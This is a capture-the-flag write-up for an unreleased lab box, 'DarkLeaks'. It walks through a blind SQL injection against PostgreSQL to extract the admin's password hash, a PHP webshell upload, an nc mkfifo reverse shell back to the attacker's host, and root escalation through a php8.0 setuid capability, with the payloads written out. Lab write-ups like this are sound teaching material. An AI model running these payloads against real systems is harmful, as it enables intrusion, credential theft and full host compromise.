DarkLeaks — A never released CTF

0xFF🪤
5 min readMay 5, 2023

--

Source

This room will never be available. THM rejected it. Anyway you can still play it here.

ENUMERATION

PORT SCAN

Nmap scan

WEBSITE ENUMERATION

FFUF scan

ADMIN PAGE

http://ip/admin/login.php

FFUF found the admin login page. This may be an entry point for later.

SQL INJECTION

TEST THE FORM

Let’s take a look at the website. There’s a POST form which queries the database for submitted emails.

http://ip/index.php

If we try to submit something like ‘test@gmail.com’ we get a text saying that our email has not been leaked.

Let’s try to inject a quote.

Query failed: ERROR: unterminated quoted string at or near “‘’’;” LINE 1: SELECT * FROM leaks WHERE email=’’’; ^

This means that the input is vulnerable to an SQL injection.

COLUMN ENUMERATION

All of the following injections can be sped up and done easily with BurpSuite. Anyway I will do them manually to explain the logic behind them.

The purpose is to find how many columns are returned from the query we previously saw: SELECT * FROM leaks WHERE email=’’;

‘ UNION ALL SELECT null; --

We get another error, this means that more than one column is returned from the query.

When we try to union three columns:

‘ UNION ALL SELECT null, null, null; --

We get the same message ‘Good, not leaked!’ but in red.

This could be our landmark for a Blind SQL Injection.

FIND OUT THE DATABASE TYPE

Query the database for its version is good way to know what kind of database we are dealing with. From PortSwigger SQLi cheatsheet:

Oracle SELECT banner FROM v$version / SELECT version FROM v$instance

Microsoft SELECT @@version

PostgreSQL SELECT version()

MySQL SELECT @@version

Trying with the PostgreSQL payload

‘ UNION ALL SELECT null, version(), null; --

We get the following output

Sorry, ‘ union select null, version(), null; — email and password have been leaked

Nice! We can assume we are dealing with a PostegreSQL database.

TABLES ENUMERATION

Let’s check the tables created by the admin.

For more information on the information_schema.

' union all select null, table_name, null from information_schema.tables where substring(table_name, 1,1) ='a' and table_schema='public'; --

We are asking the database if there’s a table that starts with the letter ‘a’, the answer is positive.

Let’s continue the enumeration for the table starting with ‘a’, simply by changing the substring index like so: substring(table_name, 1,2) =’aa’.

' union all select null, table_name, null from information_schema.tables where substring(table_name, 1,2) ='aa' and table_schema='public'; --

The previous query returns the message ‘Good, not leaked!’ in green.

This means that no table starts with ‘aa’.

At this point we need to change the second letter to ‘b’ and so on until we get a match (a red message). I suggest doing this task with automated tools like BurpSuite or a script written by yourself.

At the end of the enumeration we find two tables: admins and leaks. We can assume that leaks contains the table queried by users to check their email exposure on the web and admins must be the table containing the username and password for the login page found with FFUF.

ADMINS TABLE ENUMERATION

This part is similar to the previous, the only difference is that we are querying the information_schema.columns to know the admins table’s columns.

' union all select null, table_name, null from information_schema.columns where substring(column_name, 1,1) ='a' and table_name = 'admins' and table_schema='public'; --

Checking all the letters we got 3 positive results: ‘i’, ‘p’ and ‘u’.

Again, for every result we need to check the further letters.

At the end we come across 3 columns:

  • id
  • username
  • password

USERNAMES AND PASSWORD ENUMERATION

Given the id column, we could try to enumerate the admins by their id starting from 1.

' union all select null, username, null from admins where substring(username, 1, 1) = 'a' and id = 1 --

The first username retrieved is admin. Let’s retrieve its password.

' union all select null, password, null from admins where substring(password, 1, 1) = 'a' and username = 'admin' --

The process is the same as before. Try every letter in the alphabet, after finding the right letter, query for the next.

The final result is e91e6348157868de9dd8b25c81aebfb9.

Let’s find the hash type on Hash Type Identifier and eventually its value.

The hash type is MD5 and its value is security.

UPLOAD A WEBSHELL

LEAKS UPLOAD PAGE

Logging in as admin, we gain access to a form where admins can upload new leaks collected on the web.

http://ip/admin/upload.php

Given that only an admin can access this page, there might be no checks on the uploaded file. Let’s try to upload a simple webshell.

After submitting it, we get the following message.

File uploaded in uploads/webshell.php

REVERSE SHELL

Visiting http://ip/admin/uploads/webshell.php we can get a HTTP GET shell on the target.

Time to run an nc reverse shell and start a listener on our host.

I suggest to generate a nc mkfifo command with revshells.com.

Start a listener on your host.

nc -lnvp 4444

And submit the following command to the webshell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [your_ip] 4444 >/tmp/f

At this point you should have a shell on the target as www-data.

USER FLAG

The user flag is in /home/whiterose/user.txt, its permissions are 444. This means that it’s readable by anyone.

PRIVILEGE ESCALATION

ROOT FLAG

We can check for many misconfigurations on the target manually. Here’s a cheatsheet of many privilege escalation commands.

Anyway, the attack vector we are interested is a capability.

Search for binaries with capabilities.

getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/php8.0 = cap_setuid+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/snap/core20/1852/usr/bin/ping = cap_net_raw+ep
/snap/core20/1879/usr/bin/ping = cap_net_raw+ep

Searching for the previous binaries on GTFOBins, we can take advantage of the php8 binary capability like so:

/usr/bin/php8.0 -r "posix_setuid(0); system('/bin/sh');"

Done! We got a root shell.

Retrieve the flag in /root/root.txt.

--

--